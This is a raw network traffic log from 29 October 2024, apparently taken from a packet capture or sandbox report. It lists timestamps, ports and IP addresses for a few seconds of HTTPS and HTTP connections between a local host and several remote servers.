Oct 29, 2024 02:46:24.174649000 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.174714088 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.174863100 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.174875975 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.688311100 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:24.688554049 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:24.688570976 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:24.689100981 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:24.689168930 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:24.690098047 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:24.690152884 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:24.690308094 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:24.690392971 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:24.690507889 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:24.690509081 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:24.690525055 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:24.731364012 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:24.741251945 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:24.873641968 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.874650002 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.874660015 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.877528906 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.877559900 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.877887011 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.877922058 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.878513098 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.878525019 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.879004002 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.879010916 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.879082918 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.879096985 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.879606009 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.879612923 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.901885986 CET	80	49744	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:24.902010918 CET	49744	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:24.910906076 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.912098885 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.912106991 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.912833929 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.912837982 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.913870096 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.914367914 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.914390087 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.915153027 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.915158987 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.001672029 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:25.005773067 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.005920887 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.006094933 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.006189108 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.006302118 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.006315947 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.006328106 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.006333113 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.006371975 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.006787062 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.006875992 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.007050037 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.007122993 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.008742094 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.008775949 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.008804083 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.008820057 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.009699106 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.009720087 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.009733915 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.009741068 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.013628960 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.013665915 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.013930082 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.014033079 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.014115095 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.014199018 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.015264034 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.015280962 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.015361071 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.015403032 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.015479088 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.015484095 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.015520096 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.015768051 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.015783072 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.041315079 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.041549921 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.041731119 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.041757107 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.041762114 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.041771889 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.041775942 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.044275045 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.044326067 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.044425964 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.044502974 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.044504881 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.044560909 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.044636965 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.044653893 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.044670105 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.044677019 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.044790983 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.044826984 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.048202991 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.048218966 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.048284054 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.048578024 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.048589945 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.053761005 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:25.053787947 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:25.058094025 CET	49744	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:25.060760975 CET	49721	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:25.062458992 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:25.063508987 CET	80	49744	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:25.738617897 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.739195108 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.739269018 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.739696026 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.739712954 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.756460905 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.757090092 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.757105112 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.757555962 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.757561922 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.766388893 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.766738892 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.766767025 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.767292976 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.767306089 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.793406963 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.793828964 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.793869019 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.794251919 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.794260025 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.820811033 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.821140051 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.821154118 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.821521997 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.821527004 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.824245930 CET	80	49744	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:25.824311972 CET	49744	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:25.867216110 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.867326021 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.867403030 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.868161917 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.868161917 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.868206978 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.868249893 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.871028900 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.871057987 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.871145964 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.871390104 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.871404886 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.889499903 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.889597893 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.889755011 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.889828920 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.889851093 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.889861107 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.889866114 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.892779112 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.892817020 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.894052029 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.894160032 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.894295931 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.894301891 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.894313097 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.894368887 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.894435883 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.894460917 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.894488096 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.894501925 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.907428026 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.907468081 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.908166885 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.914575100 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.914609909 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.946440935 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.946594000 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.946830988 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.946938038 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.946952105 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.946964979 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.946971893 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.950423002 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.950452089 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.950565100 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.950905085 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.950918913 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.956600904 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.956748009 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.956939936 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.957056999 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.957065105 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.957091093 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.957096100 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.961796045 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.961837053 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:25.962047100 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.962244034 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:25.962260962 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.591602087 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.592437029 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.592488050 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.592978954 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.592987061 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.632236004 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.634913921 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.634932995 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.635612011 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.635617971 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.635617018 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.635984898 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.636003971 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.636384964 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.636390924 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.700215101 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.705827951 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.708368063 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.708405018 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.708410025 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.708425999 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.708761930 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.708770037 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.709283113 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.709287882 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.721005917 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.721107006 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.721174955 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.721414089 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.721441984 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.721457958 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.721465111 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.737541914 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.737567902 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.737634897 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.738286018 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.738298893 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.762759924 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.762850046 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.762968063 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.764440060 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.764508009 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.764555931 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.784913063 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.784939051 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.784985065 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.784991026 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.785151958 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.785166979 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.785181046 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.785186052 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.838110924 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.838284016 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.838359118 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.842776060 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.843039036 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.843103886 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.855545998 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.855546951 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.855562925 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.855572939 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.863854885 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.863854885 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.863922119 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.864017963 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.888969898 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.889053106 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.889144897 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.949364901 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.949409962 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.966051102 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.966125965 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.966226101 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.966485977 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.966520071 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.987343073 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:26.987366915 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:26.987660885 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.030888081 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.030906916 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.049563885 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.049591064 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.049659014 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.049823999 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.049839973 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.459232092 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.506882906 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.686868906 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.686917067 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.687359095 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.687375069 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.812196016 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.812247038 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.813345909 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.848973036 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.858150005 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.865622044 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:27.897511959 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.913156033 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:27.914676905 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.091202974 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.091243982 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.091274023 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.091294050 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.097807884 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.097836971 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.098397017 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.098408937 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.099045992 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.099066019 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.099438906 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.099447012 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.099668026 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.099699974 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.100183010 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.100191116 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.128088951 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.128120899 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.128207922 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.223063946 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.223308086 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.223368883 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.225248098 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.227087975 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.227300882 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.227364063 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.232738972 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.234874010 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.234972000 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.272504091 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.284166098 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.284173965 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.284389973 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.284424067 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.284440994 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.284456968 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.286971092 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.286992073 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.287003040 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.287008047 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.288889885 CET	49764	443	192.168.2.5	13.107.246.45
